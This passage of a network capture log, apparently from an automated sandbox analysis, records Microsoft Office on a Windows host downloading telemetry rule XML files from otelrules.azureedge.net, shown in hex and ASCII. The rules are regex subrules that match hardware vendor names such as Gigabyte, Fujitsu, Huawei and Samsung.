2024-10-05 12:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:58 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123358Z-15767c5fc55rg5b7sh1vuv8t7n0000000ebg00000000cx22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	57421	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:59 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123359Z-1657d5bbd482tlqpvyz9e93p5400000000gg000000004hcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	57420	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:59 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:59 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 79ade187-001e-0065-788c-150b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123359Z-15767c5fc554wklc0x4mc5pq0w0000000ecg000000008tb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:59 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	57422	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:59 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 20b36261-201e-006e-7102-17bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123359Z-1657d5bbd48brl8we3nu8cxwgn00000000t000000000cedx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	57423	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:59 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:59 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4f10c824-e01e-0085-1c8c-15c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123359Z-15767c5fc55gs96cphvgp5f5vc0000000dwg00000000fxzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:59 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	57424	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:59 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 81e42967-c01e-0014-5ee9-16a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123359Z-1657d5bbd48xlwdx82gahegw4000000000rg000000005qsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	57425	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:00 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:00 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 82f8b22c-c01e-0014-5a8c-15a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123400Z-15767c5fc55whfstvfw43u8fp40000000e2g00000000ksgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:00 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	57426	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:00 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:00 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 30fd46b0-d01e-00a1-368c-1535b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123400Z-15767c5fc55whfstvfw43u8fp40000000e6g0000000072xm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:00 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	57427	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:00 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123400Z-1657d5bbd48xdq5dkwwugdpzr000000000x0000000000573 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	57428	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:00 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 75493038-e01e-00aa-508c-15ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123400Z-15767c5fc552g4w83buhsr3htc0000000dx000000000quzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	57429	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:00 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c2ca9d4d-801e-0035-458c-15752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123400Z-15767c5fc55rg5b7sh1vuv8t7n0000000eb000000000dud1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	57431	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 4b0a3852-c01e-00ad-3b8c-15a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-15767c5fc55kg97hfq5uqyxxaw0000000e300000000063m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
